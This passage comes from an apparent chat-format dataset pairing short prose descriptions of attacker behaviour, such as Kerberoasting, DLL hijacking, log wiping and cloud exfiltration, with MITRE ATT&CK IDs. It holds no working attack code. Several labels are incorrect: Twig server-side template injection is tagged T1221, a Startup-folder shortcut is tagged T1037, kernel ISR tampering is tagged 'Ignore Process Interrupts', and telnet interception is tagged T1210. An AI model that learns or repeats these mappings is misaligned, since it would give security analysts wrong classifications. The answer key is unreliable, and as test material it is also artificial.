                "content": "Cybercriminals use a custom exfiltration tool that caps each data chunk at 64 KB to evade data loss prevention rules."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses AppleScript to manipulate System Preferences, turning off the firewall and enabling remote login."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a rootkit that injects code into the kernel, providing stealthy command-and-control communication channels."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes an empty string to \"/root/.bash_history\" and then calls \"history -c\" to purge the command history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerable application on the victim's machine causing it to consume all CPU resources, leading to a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the intrusion team restores the victim's AWS EC2 instance from a snapshot taken before the compromise to hide modifications."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a bash script that runs 'lspci' and 'lsusb' to inventory hardware components on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit AppleScript to automate the execution of a PowerShell script via the Terminal app."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses code injection through Windows Management Instrumentation (WMI) to run malicious code inside a system process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host exfiltrated logs by sending them to an AWS S3 bucket using pre-signed URLs over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link that, when clicked, runs mshta.exe to download and execute a malicious JScript."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes a bash script that parses \"/etc/init.d/\" and \"systemctl list-units\" to gather service details."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary alters the ACLs on sensitive files to restrict access and hide modifications."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code checks the Process Environment Block for the BeingDebugged flag before proceeding with its payload."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office template is placed in the %APPDATA%\\Microsoft\\Templates folder; the embedded macro triggers on application launch, establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting insecure handling of Twig templates, the attacker injects payloads that execute system commands on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group performed cloud account takeover by exploiting a weak password on a valid user account in the tenant."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a legitimate WordPress blog and injects malicious code that runs a hidden iframe loading a Trojan."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a script that leverages the Okta API to enumerate all cloud user accounts associated with the organization."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom tool, the attacker spams a Windows Print Spooler service with print job requests, exhausting system resources and causing the service to halt."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate private TLS certificates stored on disk without proper access controls and extract them for man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a DNS‑over‑HTTPS service as a dead‑drop resolver, having malware request specific DNS queries to retrieve payloads."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a custom reversible cipher to encode data before writing it to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised host runs a proxy daemon that other malware instances use to hide their network activity within the LAN."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder alters the BCD store to set the system to boot into Safe Mode, impairing defenses that are disabled in that environment."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscated source code is delivered and only compiled after execution on the target, preventing early detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware embeds its encrypted payload within the pixel data of a PNG image using least‑significant‑bit steganography, then extracts and decrypts it on the target system."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary initiates a continuous stream of data to a media transcoding service, exhausting its CPU and GPU resources."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program uses DiskPart to clean the disk, removing all partitions and data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool uses a loop to spawn thousands of child processes, overwhelming the scheduler and rendering the endpoint unusable."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts service account credentials by requesting service tickets for SPNs and then cracking the offline hashes to obtain clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor implements a symmetric encrypted channel using a per‑session key for its C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages RTLO characters in a Windows registry key name to disguise a malicious registry entry, making the entry appear benign in standard registry editors."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performed a Man‑in‑the‑Middle attack on an unsecured telnet service to intercept credentials and hijack sessions."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group sets up a proxy that uses domain fronting, routing malicious payloads through a popular video streaming service's domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File deletion is performed to eliminate forensic artifacts, targeting files like 'ntuser.dat' and recent document histories."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the startup type of a service to \"auto\" via the \"wmic service\" command, ensuring the malicious code runs on boot."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set uses the PowerShell profile to persist a credential dumping tool, which runs automatically when PowerShell starts."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker sets up a malicious SharePoint site to lure employees into downloading malware."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a fake library with the same name as a required DLL and stores it in the current directory, which is prioritized over the system directory during loading."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom rootkit rewrites interrupt service routines to filter out monitoring alerts, ensuring its presence is not logged by security tools."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors extract configuration data from Docker daemon JSON files to discover registry credentials and container settings."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the system's EFI firmware to execute code during the early boot phase, bypassing OS defenses."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilized a commercial packing tool to compress and encode the malware executable, making signatures ineffective."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a DLL on disk and then calls CreateRemoteThread with LoadLibrary to execute code within another process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell commands to download and execute a malicious payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathers victim employee names by analyzing badge photos posted on the company's social media pages."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the SAML response XML to create a valid-looking token that authenticates as an admin user."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the registry key `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList` to infer user group assignments."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor changes the default association for .csv files to a malicious PowerShell script, causing it to execute when the file is accessed."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a malicious VBA macro to the default template so it executes every time Microsoft Word is opened."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing campaign resulted in the attacker using the cloud provider's REST API to delete virtual machine instances."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Active Directory attribute that controls password policy to lower complexity requirements, enabling easier credential creation."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group signs up for a corporate email alias using compromised personal information to blend in with legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a new code-signing certificate via a compromised developer account on a code repository platform."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor dropped a payload named \"taskmgr.exe \" with an extra space, hoping that endpoint detection would overlook the subtle naming trick."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a TFTP exploit to gain unauthorized access to a system through the Trivial File Transfer Protocol (TFTP)."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group infiltrates a Kubernetes cluster and adds pods that perform illicit mining, effectively hijacking cluster resources."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries load malicious code into the Terminal Services DLL (termsrv.dll) to achieve persistence on Windows servers."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured AWS Lambda function to execute arbitrary code without authentication."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Criminals buy source code for a proprietary SCADA system from a hacked developer forum."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a denial-of-service condition by abusing a resource leak bug in a popular media player on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Privilege escalation via DLL hijacking of a high‑privilege process."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with the LC_LOAD_DYLIB command in a macOS executable, the attacker causes the loading of a payload dynamic library at runtime."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses the Windows “runas” command with saved credentials to execute processes as another user."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a Pass the Hash attack by reusing NTLM hash values obtained from compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the ‘wmic process call create’ command to launch a hidden PowerShell process that performs credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool uses the Linux framebuffer device (/dev/fb0) to read raw screen data and converts it to a JPEG for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By deploying a malicious print processor, the attacker ensures code execution every time the print spooler processes a job."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain password hashes from the LSASS process memory via a credential dumping technique."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised a trusted supplier’s API key and used it to exfiltrate sensitive data from the victim’s cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen SSH key, the attacker collected the full config of a MikroTik router, including firewall rules and VPN settings."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adds a shortcut (.lnk) to the user's Startup folder pointing to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary distributes a compromised media file that takes advantage of a buffer overflow in a popular media player, leading to arbitrary code execution on the victim’s computer."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder establishes a local account with a weak password to facilitate later logins."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to cover tracks, the adversary runs a command that empties the recycle bin and deletes any residual files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
